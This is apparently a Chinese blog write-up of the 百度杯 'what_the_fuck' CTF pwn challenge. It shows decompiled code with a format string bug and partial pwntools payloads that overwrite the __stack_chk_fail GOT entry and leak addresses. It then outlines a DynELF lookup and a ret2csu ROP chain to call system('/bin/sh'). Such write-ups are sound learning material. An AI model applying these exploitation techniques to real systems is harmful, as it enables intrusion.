zoukankan      html  css  js  c++  java
  • 百度杯 十二月 what_the_fuck

    对于这道题,我还真的想说 what_the_fuck !!

    这道题拿到就只发觉一个格式化字符串漏洞,其他的就找不到了 。

     1 unsigned __int64 sub_4008C5()
     2 {
     3   char s; // [rsp+0h] [rbp-20h]
     4   unsigned __int64 v2; // [rsp+18h] [rbp-8h]
     5 
     6   v2 = __readfsqword(0x28u);
     7   printf("leave a msg: ");
     8   memset(&s, 0, 0x10uLL);
     9   read(0, &s, 0x20uLL);
    10   if ( strstr(&s, "%p") || strstr(&s, "$p") )
    11   {
    12     puts("do you want to leak info?");
    13     exit(0);
    14   }
    15   printf(&s, "$p"); //漏洞所在
    16   return __readfsqword(0x28u) ^ v2;
    17 }

    还是找了网上的wp 一边学,一边复现,这里总接下所学的。

    看到这些这有一个格式化字符串漏洞,又开启了canary,可以先考虑覆盖__stack_chk_fail指向main,这样就可以利用溢出,无限往栈里写东西。

    首先,在ida或者gdb调试中,把name和msg在栈中是第几个参数找出来,在64位的程序中,在64位的文件中,printf传参:现一般规则为, 当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。

    1 payload=l64(0x601020)                  
    2 fd.recvuntil('input your name: ')
    3 fd.send(payload)
    4 fd.recvuntil('leave a msg: ')
    5 payload='%.'+str(0x0983)+'d'+'%12$hn'+' %9$s%10$ld'
    6 payload+='x00'*(0x18-len(payload))
    7 payload+=l64(0x601040)

    用%.sum$n 往栈里的指针参数写东西时,sum代表的是sum+1个参数。

     .got.plt:0000000000601020 off_601020 dq offset __stack_chk_fail 

     got.plt:0000000000601040 off_601040 dq offset read ; DATA XREF: _read↑r 

    %9$s%10$ld  这里输出了第一次main函数的ebp,还有read函数的地址

    然后可以构建一个leak函数,利用pwn的DynELF()找出system函数。这些题目给有给出libc的时候可以考虑下。

    这样就知道system和read的地址了,接下来就是构建栈的结构,执行read(0,addr,size)  写入/bin/sh +'x00'+system, 然后system(/bin/sh)开启shell,关于read的参数 可以利用init里面的

     1 text:0000000000400A60 loc_400A60:                             ; CODE XREF: init+54↓j
     2 .text:0000000000400A60                 mov     rdx, r13
     3 .text:0000000000400A63                 mov     rsi, r14
     4 .text:0000000000400A66                 mov     edi, r15d
     5 .text:0000000000400A69                 call    qword ptr [r12+rbx*8]
     6 .text:0000000000400A6D                 add     rbx, 1
     7 .text:0000000000400A71                 cmp     rbx, rbp
     8 .text:0000000000400A74                 jnz     short loc_400A60
     9 .text:0000000000400A76
    10 .text:0000000000400A76 loc_400A76:                             ; CODE XREF: init+36↑j
    11 .text:0000000000400A76                 add     rsp, 8
    12 .text:0000000000400A7A                 pop     rbx
    13 .text:0000000000400A7B                 pop     rbp
    14 .text:0000000000400A7C                 pop     r12
    15 .text:0000000000400A7E                 pop     r13
    16 .text:0000000000400A80                 pop     r14
    17 .text:0000000000400A82                 pop     r15
    18 .text:0000000000400A84                 retn
    19 .text:0000000000400A84 ; } // starts at 400A20

    接下来就是构建栈,

    首先在第二次就开始布局,这里就不多说了 https://www.cnblogs.com/shangye/p/6209008.html   这个大佬里面很详细。

    下面我只讲一些 在理解的时候出现的问题,就是在执行call的时候会把rip push 进栈中。就是忘了 这个,,搞了大半天。一个个参数调试,烦死了

  • 相关阅读:
    composer 自动加载 通过classmap自动架子啊
    composer 自动加载一 通过file加载
    call_user_func函数
    array_filter与array_map
    array_filter、array_walk、array_map的区别
    array_filter函数
    基于visual Studio2013解决算法导论之012计数排序
    基于visual Studio2013解决算法导论之011快排改良
    基于visual Studio2013解决算法导论之010快排中应用插入排序
    基于visual Studio2013解决算法导论之009快速排序随机版本
  • 原文地址:https://www.cnblogs.com/liyuechan/p/10651340.html
Copyright © 2011-2022 走看看